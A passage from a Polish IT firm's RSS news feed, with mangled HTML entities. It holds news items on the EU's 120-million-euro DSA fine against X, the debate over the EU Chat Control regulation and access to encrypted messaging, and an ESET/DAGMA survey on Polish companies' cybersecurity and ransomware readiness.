and#378;rand#243;dand#322;o Ministerstwo Cyfryzacjiand#160; ]]></description>
		</item><item>
			<title><![CDATA[ Komisja Europejska nakłada karę na X ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1595</link>
			<description><![CDATA[ Komisja naand#322;oand#380;yand#322;a na X karand#281; w wysokoand#347;ci 120 mln euro za naruszenie obowiand#261;zkand#243;w wynikajand#261;cych z Aktu o usand#322;ugach cyfrowych (DSA). Stwierdzone przez Komisjand#281; naruszenia dotyczand#261; braku przejrzystoand#347;ci w zakresie and#8222;niebieskiego znacznikaand#8221; X, repozytorium reklam i zapewnienia badaczom dostand#281;pu do danych. To pierwsza decyzja o naruszeniu przepisand#243;w unijnych podjand#281;ta na podstawie DSA.



and#8211;and#160;Kara 120 milionand#243;w euro za and#322;amanie przepisand#243;w unijnych to jasny sygnaand#322;, and#380;e platformy internetowe nie mogand#261; oszukiwaand#263; uand#380;ytkownikand#243;w. X nadawaand#322; niebieskie znaczki weryfikacji rand#243;wnieand#380; kontom oszukujand#261;cym uand#380;ytkownikand#243;w lub faand#322;szywym. W Unii Europejskiej uand#380;ytkownicy powinni byand#263; chronieni przed oszustwami. To dand#322;ugo oczekiwana decyzja Komisjiand#160;and#8211; powiedziaand#322; wiceminister cyfryzacjiand#160;Dariusz Standerski.and#160;

Kara za brak przejrzystoand#347;ci

Stwierdzone przez Komisjand#281; naruszenia dotyczand#261;:and#160;


sposobu zaprojektowania and#8222;niebieskiego znacznikaand#8221; X, ktand#243;ry wprowadza uand#380;ytkownikand#243;w w band#322;and#261;dand#160;and#8211; Na X kaand#380;dy moand#380;e zapand#322;aciand#263; za uzyskanie statusu and#8222;zweryfikowanegoand#8221;, mimo and#380;e firma w rzeczywistoand#347;ci nie weryfikuje autentycznoand#347;ci kont. Naraand#380;a to uand#380;ytkownikand#243;w na oszustwa, w tym podszywanie siand#281; pod inne osoby, a takand#380;e na manipulacjand#281; ze strony podmiotand#243;w dziaand#322;ajand#261;cych w zand#322;ej wierze.and#160;


braku przejrzystoand#347;ci repozytorium reklam Xand#160;and#8211; X stosuje rozwiand#261;zania i bariery dostand#281;pu, ktand#243;re utrudniajand#261; badaczom i opinii publicznej samodzielne sprawdzanie potencjalnych zagroand#380;eand#324; zwiand#261;zanych z reklamand#261; internetowand#261;. Repozytorium reklam X nie zawiera kluczowych informacji, takich jak temat reklamy czy nazwa podmiotu prawnego, ktand#243;ry za niand#261; pand#322;aci.and#160;


ograniczenia dostand#281;pu dla badaczy do danych publicznychand#160;and#8211; X nie wypeand#322;nia obowiand#261;zkand#243;w wynikajand#261;cych z DSA dotyczand#261;cych zapewnienia badaczom dostand#281;pu do publicznych danych platformy. W praktyce utrudnia to prowadzenie badaand#324; nad wieloma rodzajami systemowych zagroand#380;eand#324; w Unii Europejskiej.and#160;



Dalsze kroki

X musi teraz poinformowaand#263; Komisjand#281; Europejskand#261; o dziaand#322;aniach, ktand#243;re podejmie w zwiand#261;zku ze stwierdzonymi naruszeniami. Ma na to 60 dni (w przypadku niebieskich znacznikand#243;w) i 90 dni (w zakresie repozytorium reklam i dostand#281;pu do danych publicznych).and#160;and#160;
Plan dziaand#322;aand#324; X trafi do Rady ds. usand#322;ug cyfrowych, ktand#243;ra wyda w tej sprawie opiniand#281; w ciand#261;gu miesiand#261;ca. Nastand#281;pnie Komisja band#281;dzie miaand#322;a kolejny miesiand#261;c na wydanie ostatecznej decyzji i okreand#347;lenie, w jakim terminie X musi naprawiand#263; naruszenia.and#160;
and#160;
and#378;rand#243;dand#322;o Ministerstwo Cyfryzacji 5 grudnia 2025 ]]></description>
		</item><item>
			<title><![CDATA[ Czy UE chce osłabić szyfrowaną komunikację? Tak, choć niekoniecznie przez Chat Control ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1594</link>
			<description><![CDATA[ Czy sand#322;yszeliand#347;cie o Chat Control and#8211; unijnym prawie, ktand#243;re ma wprowadziand#263; skanowanie treand#347;ci w komunikatorach pod kand#261;tem materiaand#322;and#243;w pedofilskich? Wbrew obawom nie band#281;dzie ono and#8220;programem inwigilacjiand#8221;, co nie zmienia faktu, and#380;e UE rzeczywiand#347;cie chciaand#322;aby zapewniand#263; sand#322;uand#380;bom dostand#281;p do szyfrowanej komunikacji.

Jeand#347;li choand#263;by pobieand#380;nie interesujecie siand#281; prawem dotyczand#261;cym internetu, to w ostatnich miesiand#261;cach mogliand#347;cie trafiaand#263; na newsy czy wpisy dotyczand#261;ce Chat Control and#8211; and#8222;tajemniczegoand#8221; unijnego prawa, ktand#243;re ma doprowadziand#263; do powszechnej inwigilacji uand#380;ytkownikand#243;w komunikatorand#243;w internetowych. Niektand#243;re komentarze dotyczand#261;ce Chat Control sand#261; katastroficzne, inne studzand#261; emocje (najczand#281;and#347;ciej poprzez zapewnienia, and#380;e and#8222;to nie band#281;dzie obowiand#261;zkoweand#8221;). Pytanie, jakie moand#380;ecie sobie w tej sytuacji zadaand#263;, jest proste and#8211; o co naprawdand#281; chodzi? Gdzie sand#261; and#378;rand#243;dand#322;a? Na jakim etapie sand#261; prace i czy naprawdand#281; UE chce poand#322;oand#380;yand#263; and#322;apand#281; na internetowejand#160; komunikacji?
Udzielenie rzeczowej odpowiedzi nie jest and#322;atwe (jak zwykle), ale sprand#243;bujemy was wprowadziand#263; w temat.
Szyfrowanie przeszkadza nie od dziand#347;
Zacznijmy od tego, and#380;e niemal od zarania internetu politycy i sand#322;uand#380;by niespecjalnie godzand#261; siand#281; z istnieniem szyfrowanej komunikacji oraz szyfrowanych noand#347;nikand#243;w danych. Co kilka lat wraca argument, and#380;e naleand#380;y zakazaand#263; szyfrowanej komunikacji, poniewaand#380;and#8230; nie udaand#322;o siand#281; jeszcze wyeliminowaand#263; przestand#281;pczoand#347;ci z internetu (i mand#243;wi siand#281; to tak, jakby poza internetem przestand#281;pczoand#347;ci juand#380; nie byand#322;o). W 2014 roku dyrektor FBI James Comey otwarcie nazywaand#322; sprzedawanie szyfrowanych smartfonand#243;w and#8222;sprzedawaniem czegoand#347;, co stawia ludzi ponad prawemand#8221;. W 2016 roku dokumenty ujawnione przez organizacjand#281; Bits of Freedom pokazaand#322;y, and#380;e UE juand#380; wtedy dand#261;and#380;yand#322;a do ograniczenia szyfrowania.
Nasi starsi Czytelnicy zapewne pamiand#281;tajand#261; absurdalnand#261; propozycjeand#160;wprowadzania backdorand#243;w do oprogramowania, albo kand#322;and#243;tniand#281; oand#160;odblokowanie telefonu zamachowca z San Bernardino. Nie wchodzand#261;c w dalsze historyczne wywody moand#380;emy powiedzieand#263; jedno. Proponowanie przez politykand#243;w ograniczonego dostand#281;pu do szyfrowania ma dand#322;ugand#261; historiand#281; i wraca regularnie. Rand#243;and#380;ne projekty byand#322;y tworzone i odrzucane, ale jednym ze sposoband#243;w przepychania niechcianego pomysand#322;u jest ciand#261;gand#322;e wracanie do niego. W temacie szyfrowania to juand#380; tradycja.
Jest teand#380; druga tradycja. Jeand#347;li chcesz wprowadziand#263; zakaz szyfrowania albo cenzurand#281; rand#243;b to dla dobra dzieci!

Chat Control (CSAR) czyli co?
W roku 2022 zaproponowano w UE wprowadzenie rozporzand#261;dzenia, ktand#243;re ustanowiand#322;oby przepisyand#160;majand#261;ce na celuand#160;zapobieganie niegodziwemu traktowaniu dzieci w celach seksualnych i jego zwalczanie. Treand#347;and#263;and#160;wniosku w tej sprawieand#160;jest dostand#281;pna na stronach KE. Regulacja staand#322;a siand#281; znana rand#243;wnieand#380; jakoand#160;CSA Regulationand#160;albo krand#243;cejand#160;CSAR. Miaand#322;a ustanowiand#263; m.in. nowe obowiand#261;zki dla dostawcand#243;w e-usand#322;ug i usand#322;ug hostingowych, przy czymand#160; dostawcyand#160;usand#322;ug and#322;and#261;cznoand#347;ci interpersonalnejand#160;mieli zaczand#261;and#263; identyfikowaand#263;, analizowaand#263; i oceniaand#263; ryzyko wykorzystania usand#322;ugi w celu niegodziwego traktowania dzieci w celach seksualnych w internecie.
Dokument wspomina rand#243;wnieand#380; oand#160;wykrywaniu treand#347;ci, ktand#243;re sand#261; zwiand#261;zane z wykorzystywaniem dzieci. Poniand#380;ej cytat z wniosku.

Niektand#243;rzy dostawcy usand#322;ug juand#380; teraz dobrowolnie stosujand#261; technologie pozwalajand#261;ce wykrywaand#263;, zgand#322;aszaand#263; i usuwaand#263; przypadki niegodziwego traktowania dzieci w celach seksualnych w internecie w ramach swoich usand#322;ug. Jednak dziaand#322;ania podejmowane przez dostawcand#243;w usand#322;ug sand#261; bardzo zrand#243;and#380;nicowane and#8211; zdecydowana wiand#281;kszoand#347;and#263; zgand#322;oszeand#324; pochodzi od kilku dostawcand#243;w, a znaczna liczba dostawcand#243;w nie podejmuje and#380;adnych dziaand#322;aand#324; (and#8230;) W tym kontekand#347;cie konieczne sand#261; jednolite unijne przepisy dotyczand#261;ce wykrywania, zgand#322;aszania i eliminowania niegodziwego traktowania dzieci w celach seksualnych w internecie, ktand#243;re uzupeand#322;niand#261; akt o usand#322;ugach cyfrowych, zlikwidujand#261; istniejand#261;ce bariery na jednolitym rynku cyfrowym i zapobiegnand#261; ich rozprzestrzenianiu siand#281; (and#8230;) Nakand#322;adajand#261;c na dostawcand#243;w usand#322;ug obowiand#261;zek wykrywania, zgand#322;aszania, blokowania i usuwania ze swoich usand#322;ug materiaand#322;and#243;w przedstawiajand#261;cych niegodziwe traktowanie dzieci w celach seksualnych, wniosek umoand#380;liwi lepsze wykrywanie, dochodzenie i and#347;ciganie przestand#281;pstw objand#281;tych dyrektywand#261; w sprawie zwalczania niegodziwego traktowania dzieci w celach seksualnych.

Tutaj przypomnijmy, and#380;e istotnie niektand#243;rzy usand#322;ugodawcy tacy jak Google, Dropbox czy Microsoft majand#261; i stosujand#261; technologiand#281;, ktand#243;ra potrafi wykryand#263; np. pedofilskie zaand#322;and#261;czniki w poczcie (zob.and#160;Google wykryand#322;o pedofilski zaand#322;and#261;cznik na GMailu i doniosand#322;o policji na swojego uand#380;ytkownika). W roku 2012 mieliand#347;my oand#380;ywionand#261; dyskusjand#281; na tematand#160;wprowadzania podobnych rozwiand#261;zaand#324; do produkand#243;w Apple. Unia Europejska postanowiand#322;a pand#243;jand#347;and#263; o krok dalej i powiedziaand#322;a and#8211; wprowadand#378;my standardy i prawne obowiand#261;zki, tak aby kaand#380;dy dostawca e-usand#322;ug (w tym and#8220;and#322;and#261;cznoand#347;ci interpersonalnejand#8221;) robiand#322; to w taki sam sposand#243;b.
Przyznacie tutaj, and#380;e czym innym jest dobrowolne stosowanie tego rodzaju skanowania, a czym innym narzucanie go odgand#243;rnie.
Krytyka ze wszystkich stron
CSAR doczekaand#322;a siand#281; ostrej krytyki z wielu stron. W Niebezpieczniku wspominaliand#347;my juand#380; oand#160;zastrzeand#380;eniachand#160; ze strony dostawcy poczty Tutanota, ale byand#322;o tego znacznie wiand#281;cej. Pokaand#378;ny zbiorek wypowiedzi krytycznych znajdziecie na stronie organizacjiand#160;European Digital Rights. CSAR byand#322;a krytykowana przez:

Europejskand#261; Radand#281; Ochrony Danych,
niektand#243;re ofiary wykorzystywania seksualnego(!!!),
ekspertand#243;w od praw dzieci,
naukowcand#243;w,
niezaleand#380;nych analitykand#243;w i nawetand#8230;.
sand#322;uand#380;by i Radand#281; ds. Kontroli Regulacyjnej KE.

Tu z pewnand#261; dumand#261; zaznaczamy, and#380;eand#160;Polska od poczand#261;tku byand#322;a krajem nieprzychylnym tej propozycji i to siand#281; nie zmieniand#322;o mimo zmiany wand#322;adzy.
Zacytujmy fragmentand#160;opinii Europejskiej Rady Ochrony Danych.

Propozycja mogand#322;aby staand#263; siand#281; podstawand#261;and#160;do facto, powszechnego i nieselektywnego skanowania treand#347;ci praktycznie wszystkich rodzajand#243;w komunikacji elektronicznej wszystkich uand#380;ytkownikand#243;w w UE/EOG. W rezultacie przepisy mogand#261; skand#322;oniand#263; ludzi do powstrzymywania siand#281; od udostand#281;pniania legalnych treand#347;ci z obawy, and#380;e ich dziaand#322;ania mogand#322;yby staand#263; siand#281; podstawand#261; do objand#281;cia ich nadzorem.

EROD zwrand#243;ciand#322;a teand#380; uwagand#281; na wiele szczegand#243;and#322;and#243;w np. and#380;e and#8220;neutralnoand#347;and#263; technologicznaand#8221; propozycji sprawi, iand#380; poziom ingerencji w prawa jednostek band#281;dzie rand#243;and#380;ny w zaleand#380;noand#347;ci od rozwiand#261;zania zastosowanego przez danego dostawcand#281;. Czy naprawdand#281; band#281;dziemy w stanie osiand#261;gnand#261;and#263; jeden standard ochrony dzieci? I najwaand#380;niejsze pytanie and#8211; czy wykrywanie treand#347;ci ma byand#263; absolutnie obowiand#261;zkowe czy nadal band#281;dzie dobrowolne?
Co siand#281; dzieje teraz?
Prace nad CSAR sand#261; and#347;ledzone przez rand#243;and#380;nych aktywistand#243;w, nie tylko wspomnianand#261; EDRi. Duand#324;ski programista przedstawiajand#261;cy siand#281; jako Joachim uruchomiand#322; stronand#281;and#160;Fightchatcontrol.eu, ktand#243;ra informuje o postand#281;pach prac nad prawem. W listopadzie na stronie pojawiand#322;y siand#281; wpisy na temat m.in. przepychania niepokojand#261;cej and#8220;kompromisowejand#8221; wersji nowego prawa przez duand#324;skand#261; prezydencjand#281; choand#263; dodajmy, and#380;e planowane jest dopisanie do dokumentu motywu 17a stwierdzajand#261;cego, and#380;e and#380;aden przepis rozporzand#261;dzenia nie nakand#322;ada na dostawcand#243;w obowiand#261;zku wykrywania treand#347;ci (por. Euractiv,and#160;Danish Presidency backs away from and#8216;chat controland#8217;) .
Prace nad Chat Control uwaand#380;nie and#347;ledzi niemiecki europoseand#322;and#160;Patrick Breyerand#160;zwiand#261;zany z Partiand#261; Piratand#243;w. Na jego stronie znajdziecie podsumowania dotyczand#261;ce proponowanego prawa, naszym zdaniem nieco przesadzone (jak to u polityka) niemniej mogand#261;ce stanowiand#263; ciekawy punkt wyjand#347;cia dla tych, ktand#243;rzy chcieliby siand#281; dowiedzieand#263; wiand#281;cej i dotrzeand#263; do and#378;rand#243;deand#322;.
Widaand#263;, and#380;e roand#347;nie spoand#322;eczna and#347;wiadomoand#347;and#263; tego czym jest CSAR i politycy chyba zaczynajand#261; to uwzgland#281;dniaand#263; w swoich kalkulacjach. Ewentualnaand#160;obowiand#261;zkowoand#347;and#263; lub dobrowolnoand#347;and#263;and#160;wykrywania treand#347;ci pedofilskich jest od poczand#261;tku jednand#261; z najbardziej dyskutowanych kwestii. Obroand#324;cy prywatnoand#347;ci z reguand#322;y jednak zauwaand#380;and#261;, and#380;e wprowadzenie rekomendacji moand#380;e byand#263; przygotowaniem do wprowadzenia obowiand#261;zku. To jednak nie wszystko, bo zmiany w tekand#347;cie prawnym rzadko kiedy dotyczand#261; tylko jednego przepisu, a caand#322;a propozycja rozporzand#261;dzenia dotyka wielu innych kwestii (np. weryfikowania wieku uand#380;ytkownikand#243;w usand#322;ug, w tym komunikatorand#243;w). Pojawiajand#261; siand#281; teand#380; and#8220;and#347;wieand#380;eand#8221; pomysand#322;y, ktand#243;re mogand#261; zadziwiaand#263;.
A moand#380;e tak analiza tekstu?
Warto zajrzeand#263; doand#160;listu otwartegoand#160;jaki do Rady UE skierowali naukowcy z kilkunastu europejskich uczelni. List dotyczy propozycji z 13 listopada 2025 roku. Jest w nim komentarz nie tylko dotyczand#261;cy analizy obrazand#243;w czy filmand#243;w, ale rand#243;wnieand#380;and#160;treand#347;ci tekstowych.

Na pierwszy rzut oka to jest and#347;wietny pomysand#322; and#8211; jeand#347;li ktoand#347; band#281;dzie uwodziand#322; dziecko to jego dziwne teksty zostanand#261; wychwycone! Naukowcy majand#261; powaand#380;ne zastrzeand#380;enia do tego podejand#347;cia.

Obecna technologia AI jest daleka od osiand#261;gniand#281;cia precyzji niezband#281;dnej do wykonywania tych zadaand#324; z gwarancjand#261; wymaganego poziomu dokand#322;adnoand#347;ci. Faand#322;szywe trafienia wydajand#261; siand#281; nieuniknione and#8211; zarand#243;wno z powodu ograniczeand#324; technologii AI, jak i dlatego, and#380;e zachowania, ktand#243;re ma regulowaand#263; rozporzand#261;dzenie, sand#261; niejednoznaczne i silnie zaleand#380;ne od kontekstu (and#8230;) Rozszerzenie zakresu objand#281;tych propozycjand#261; formatand#243;w dodatkowo zwiand#281;kszy i tak juand#380; bardzo duand#380;and#261; liczband#281; faand#322;szywych alarmand#243;w (and#8230;) Podawaliand#347;my wczeand#347;niej kilka przykand#322;adand#243;w dotyczand#261;cych obrazand#243;w, np. nagie zdjand#281;cia wysyand#322;ane do lekarza czy nastolatkand#243;w eksplorujand#261;cych swojand#261; seksualnoand#347;and#263;. Te same argumenty majand#261; zastosowanie do wiadomoand#347;ci tekstowych, ktand#243;re mogand#322;yby zostaand#263; uznane za przejawy uwodzenia (groomingu). Na przykand#322;ad zachowania zwiand#261;zane z groomingiem mogand#261; byand#263; bardzo podobne do interakcji caand#322;kowicie akceptowalnych w przyjaznym kontekand#347;cie, takich jak rozmowy z krewnymi lub bliskimi przyjaciand#243;and#322;mi, czy rozmowy miand#281;dzy nastolatkami nawiand#261;zujand#261;cymi nowe relacje.

Trudno nam oceniand#263; jak dand#322;ugo ktoand#347; band#281;dzie broniand#322; takich pomysand#322;and#243;w, ale chcieliand#347;my zasygnalizowaand#263; jedno. Ten projekt moand#380;e pand#243;jand#347;and#263; w rand#243;and#380;ne strony i poprawa w jednym obszarze moand#380;e oznaczaand#263; dziwactwa w innym. Band#281;dzie trzeba to obserwowaand#263;.
Klicki: CSAR to jedno, ale UE ma inne pomysand#322;y
Moand#380;emy czytaand#263; dokumenty dotyczand#261;ce Chat Control i prand#243;bowaand#263; wyciand#261;gaand#263; z nich wnioski. Jednak w takich przypadkach dobrze jest spytaand#263; o dodatkowand#261; opiniand#281; kogoand#347; kto zna temat nie od dziand#347;, zna realia tworzenia prawa w UE oraz nie ma skand#322;onnoand#347;ci do przesady. Takand#261; osoband#261; jest and#8211; naszym zdaniem and#8211;and#160;Wojciech Klicki, prawnik z fundacji Panoptykon. Spytaliand#347;my go przede wszystkim o to, czy jego zdaniem wprowadzenie CSAR jest realne.
and#8212;and#160;Obecnie obowiand#261;zujeand#160;przejand#347;ciowe rozporzand#261;dzenieand#160;umoand#380;liwiajand#261;ce dostawcom usand#322;ug podejmowanie czynnoand#347;ci zmierzajand#261;cych do wykrywania CSAR, ale nie nakand#322;adajand#261;ce na nich w tym obszarze obowiand#261;zkand#243;w. Przepisy przejand#347;ciowe tracand#261; moc 3 kwietnia 2026 r., moand#380;na wiand#281;c zakand#322;adaand#263;, and#380;e do tego czasu instytucje unijne band#281;dand#261; intensywnie pracowaand#263; nad osiand#261;gniand#281;ciem kompromisu i dojdzie do przyjand#281;cia nowej regulacji. Widzand#281; duand#380;and#261; determinacjand#281; obecnej prezydencji duand#324;skiej, by wypracowaand#263; kompromis i uniknand#261;and#263; sytuacji, ktand#243;ra wydarzyand#322;a siand#281; kilka lat temu, kiedy wobec zbliand#380;ajand#261;cego siand#281; upand#322;ywu okresu obowiand#261;zywania regulacji tymczasowej i niemoand#380;noand#347;ci wypracowania kompromisuand#8230; przedand#322;uand#380;ono czas obowiand#261;zywania regulacji tymczasowej i tylko w ten sposand#243;b unikniand#281;to powstania luki prawnej and#8211;and#160;stwierdziand#322; ekspert Panoptykonu.
Jak jednak zauwaand#380;yand#322; Wojciech Klicki, zagroand#380;enie dla szyfrowanej komunikacji w UE niekoniecznie musi czaiand#263; siand#281; w samym Chat Control.
and#8212;and#160;Odniosand#281; siand#281; do znanej mi aktualnie wersji projektu, ktand#243;ry nie zakand#322;ada obowiand#261;zkowe skanowania treand#347;ci czatand#243;w pod kand#261;tem CSAR, a jedynie nakand#322;ada obowiand#261;zek podjand#281;cia dziaand#322;aand#324; minimalizujand#261;cych ryzyko wykorzystania usand#322;ug do przesyand#322;ania materiaand#322;and#243;w CSAM. Wedand#322;ug ujawnionych wczoraj informacji prezydencja duand#324;ska przeciand#281;and#322;a wand#261;tpliwoand#347;ci and#8211; doprecyzowano, and#380;e and#8220;and#380;adne z postanowieand#324; niniejszego rozporzand#261;dzenia nie moand#380;e byand#263; interpretowane jako nakand#322;adajand#261;ce na dostawcand#243;w obowiand#261;zki ujawniania informacjiand#8221;. Musimy jeszcze przyjrzeand#263; siand#281; kolejnym wersjom projektu, aleand#160;na tand#281; chwiland#281; wygland#261;da na to, and#380;e powszechna i obowiand#261;zkowa kontrola czatand#243;w nie leand#380;y na stole, co jest niewand#261;tpliwie zasand#322;ugand#261; m.in. konsekwentnego sprzeciwu ze strony polskiego rzand#261;du (zarand#243;wno aktualnego, jak i poprzedniego).
To brzmi nieand#378;le, ALEand#8230;
and#8212;and#160;Aktualne brzmienie projektu nie zmienia faktu, and#380;e Komisja Europejska jest zdeterminowana, by doprowadziand#263; do przyjand#281;cia przepisand#243;w umoand#380;liwiajand#261;cych organom and#347;cigania dostand#281;p do szyfrowanych treand#347;ci. Zwracam uwagand#281; na trwajand#261;ce w UE prace nad dokumentem pod nazwand#261; and#8220;ProtectEU: a European Internal Security Strategyand#8221;. Zgodnie z nim Komisja chce przygotowaand#263; rozwiand#261;zania technologiczne, ktand#243;re and#8220;umoand#380;liwiand#322;yby organom and#347;cigania dostand#281;p do zaszyfrowanych danych w sposand#243;b zgodny z prawem, chroniand#261;c cyberbezpieczeand#324;stwo i prawa podstawoweand#8221;. Tak wiand#281;c byand#263; moand#380;eand#160;na ten moment nazywanie CSAR and#8220;powszechnym programem inwigilacjiand#8221; jest naduand#380;yciem, niemniej moand#380;liwoand#347;and#263; bezpiecznego i w peand#322;ni poufnego korzystania z szyfrowanej komunikacji jest zagroand#380;ona.
Dokument wspomniany przez Wojciecha Klickiego znajdziecie na stronach KE takand#380;e w wersji polskiej (KOMUNIKAT KOMISJI DO PARLAMENTU EUROPEJSKIEGO, RADY, EUROPEJSKIEGO KOMITETU EKONOMICZNO-SPOand#321;ECZNEGO I KOMITETU REGIONand#211;W w sprawie ProtectEU: europejska strategia bezpieczeand#324;stwa wewnand#281;trznego). Rzeczywiand#347;cie mand#243;wi on caand#322;kiem wprost o zapewnieniu organom and#347;cigania dostand#281;pu do danych szyfrowanych.

Co ciekawe ten sam dokument wspomina o potrzebie opracowania rozwiand#261;zaand#324; w zakresie kryptografii postkwantowej, czyli takiej, ktand#243;rej nawet komputerem kwantowym nie zand#322;amiesz. Ciekawe. O tym jednak KE pisze w kontekand#347;cie zabezpieczania infrastruktury krytycznej.
W ogand#243;lnoand#347;ci tworzenie europejskiej strategii bezpieczeand#324;stwa cyfrowego nie jest siand#281; zand#322;ym pomysand#322;em. Kaand#380;dy siand#281; zgodzi, and#380;e musimy mieand#263; wypracowane metody odpowiadania na tzw. zagroand#380;enia hybrydowe i o tym teand#380; w dokumencie jest. Tylko co KE moand#380;e wymyand#347;liand#263; w dziedzinie dostand#281;pu do treand#347;ci szyfrowanych dla sand#322;uand#380;b? Zapewne niebawem siand#281; dowiemy. Rok 2026 coraz bliand#380;ej.
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pl 26 listopada 2025 ]]></description>
		</item><item>
			<title><![CDATA[ Boimy się geopolityki i AI, a wciąż nie mamy antywirusów… ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1591</link>
			<description><![CDATA[ Czy moja firma podlega pod NIS2? Co zrobiand#263;, jeand#347;li zdarzy nam siand#281; atak ransomware? Z badaand#324; firm ESET i DAGMA Bezpieczeand#324;stwo IT wynika, and#380;e wciand#261;and#380; wiele osand#243;b w polskich firmach nie zna odpowiedzi na te pytania.and#160;Niemal dokand#322;adnie rok temu pisaliand#347;my w Niebezpieczniku o tym, and#380;eand#160;cyberbezpieczeand#324;stwo to jakby dwa and#347;wiaty. Pierwszy and#347;wiat to sfera wyobraand#380;eand#324; i dyskusji: geopolityka, AI, podsand#322;uchiwanie przez and#380;arand#243;wkand#281;, futuryzm i wielkie pieniand#261;dze kradzione z ogromnych firm. Drugi jest and#347;wiat rzeczywisty and#8211; phishing, niezaand#322;atane komputery, sand#322;abe hasand#322;a, trywialne powody wyciekand#243;w i pieniand#261;dzeand#8230; nieco mniejsze i czand#281;sto kradzione z maand#322;ych firm.
 Te rand#243;and#380;nice miand#281;dzy wyobraand#380;eniami a rzeczywistoand#347;ciand#261; obrazowaliand#347;my raportem, ktand#243;ry zostaand#322; opracowany na podstawie badaand#324; firm ESET i DAGMA Bezpieczeand#324;stwo IT. Pojawiand#322;a siand#281; juand#380; nowa, tegoroczna edycja tego raportu and#8211;and#160;Cyberportret polskiego biznesu 2025. Przypomnijmy, and#380;e dane z ubiegand#322;ego roku byand#322;y doand#347;and#263; zatrwaand#380;ajand#261;ce. Tylko 59% firm deklarowaand#322;o uand#380;ywanie oprogramowania antywirusowego. Pytanie, czy to siand#281; zmieniand#322;o? I drugie pytanie, czego teraz obawiajand#261; siand#281; osoby odpowiedzialne za kwestie cyfrowe w Polskich firmach?
Trzy waand#380;ne sand#322;owa: Ransomware! Ransomware! Ransomware!
Juand#380; nie raz pisaliand#347;my o tym, and#380;e jeand#347;li jakaand#347; instytucja w Polsce albo na and#347;wiecie mocno obrywaand#322;a znienacka, to staand#322; za tym ransomware. Euroecert, Nissam, Colonial Pipeline, Fresenius, Norsk Hydroand#8230; dand#322;ugo moand#380;na wymieniaand#263;. Na rynku sand#261; rand#243;and#380;nego rodzaju zabezpieczenia przed skutkami atakand#243;w ransomware uand#322;atwiajand#261;ce wykonanie backupand#243;w, ale duand#380;e znaczenie ma rand#243;wnieand#380; reakcja ludzi na atak. Wedand#322;ug globalnych danych,and#160;w pierwszym pand#243;and#322;roczu 2025 roku Polska znalazand#322;a siand#281; na 1. miejscu na and#347;wiecie pod wzgland#281;dem liczby wykrytych atakand#243;w ransomware, aleand#160;wedand#322;ug raportu ESET i DAGMA Bezpieczeand#324;stwo IT

aand#380; 17% pracownikand#243;w, ktand#243;rzy doand#347;wiadczyli cyberataku, nie poinformowaand#322;o o tym nikogo

To prowadzi do kolejnego istotnego wniosku: skuteczna reakcja na zagroand#380;enia wymaga nie tylko formalnych ram dziaand#322;ania, ale rand#243;wnieand#380; odpowiedniego poziomu wiedzy i kompetencji. and#8211;and#160;Jeand#380;eli pracownik nie rozumie, and#380;e ma do czynienia z incydentem and#8211; nie zgand#322;osi go, nawet jeand#347;li procedura istniejeand#160;and#8211; mand#243;wi Beniamin Szczepankiewicz, analityk cyberzagroand#380;eand#324; z ESET.
W przypadku ataku ransomware and#8220;poinformowanie kogoand#347;and#8221; jest zdecydowanie dobrym pomysand#322;em. Jeszcze lepszym byand#322;oby np. odciand#281;cie urzand#261;dzenia od internetu, ale wand#347;rand#243;d przebadanych tand#281; ewentualnoand#347;and#263; wybraand#322; co czwarty badany. Ze swojej praktyki szkoleniowej wiemy, and#380;e nie zawsze ludzie sand#261; tego and#347;wiadomi, a przywoand#322;ywany raport potwierdza to. Niestety niektand#243;rzy pracownicy prand#243;bujand#261; w takich przypadkach dziaand#322;aand#263; samodzielnie, a w and#347;wiecie bezpieczeand#324;stwa bardziej zaleand#380;y nam na dziaand#322;aniach wyand#263;wiczonych, prostych lecz szybkich.

Wypada jeszcze przypomnieand#263;, and#380;e ataki ransomware czand#281;sto zaczynajand#261; siand#281; od maila i wbrew pozorom nie dotykajand#261; wyand#322;and#261;cznie duand#380;ych instytucji rzand#261;dowych. Odpowiednie przygotowanie personelu ma zaand#347; znaczenie nie tylko w trakcie reakcji na incydent ale takand#380;e w ramach profilaktyki. I tutaj jeszcze jeden ciekawy fragment raportu!
Choand#263; 60% specjalistand#243;w jest przekonanych, and#380;e ich zespoand#322;y potrafiand#261; and#347;wiadomie unikaand#263; cyberzagroand#380;eand#324;, a 59% uwaand#380;a, and#380;e wytyczne dotyczand#261;ce bezpieczeand#324;stwa sand#261; traktowane powaand#380;nie, rzeczywistoand#347;and#263; pokazuje coand#347; innego. Zaledwie 19% pracownikand#243;w ocenia swoje umiejand#281;tnoand#347;ci w zakresie cyberbezpieczeand#324;stwa jako wysokie, a tylko 38% czuje siand#281; przygotowanych do wand#322;aand#347;ciwego dziaand#322;ania w sytuacji zagroand#380;enia. Dodatkowo jedynie 31% deklaruje regularne poszerzanie wiedzy w tym obszarze.
Mimo and#380;e eksperci doand#347;and#263; optymistycznie oceniajand#261; zdolnoand#347;and#263; organizacji do wykrywania nowych atakand#243;w (56%) i funkcjonowanie systemand#243;w bezpieczeand#324;stwa (53%), dane dotyczand#261;ce pracownikand#243;w jasno wskazujand#261; na powaand#380;ny problem. Ta rand#243;and#380;nica w postrzeganiu nie jest band#322;ahostkand#261; statystycznand#261; and#8211; to wyraand#378;ny sygnaand#322;, and#380;e pomimo wysiand#322;kand#243;w specjalistand#243;w, brak edukacji i and#347;wiadomoand#347;ci wand#347;rand#243;d pracownikand#243;w pozostaje kluczowym zagroand#380;eniem. W czasach, gdy cyberataki stajand#261; siand#281; coraz bardziej zrand#243;and#380;nicowane, wand#322;aand#347;nie niedostateczna wiedza personelu moand#380;e byand#263; gand#322;and#243;wnand#261; przyczynand#261; incydentand#243;w.
A skand#261;d miaand#322;em to wiedzieand#263;?
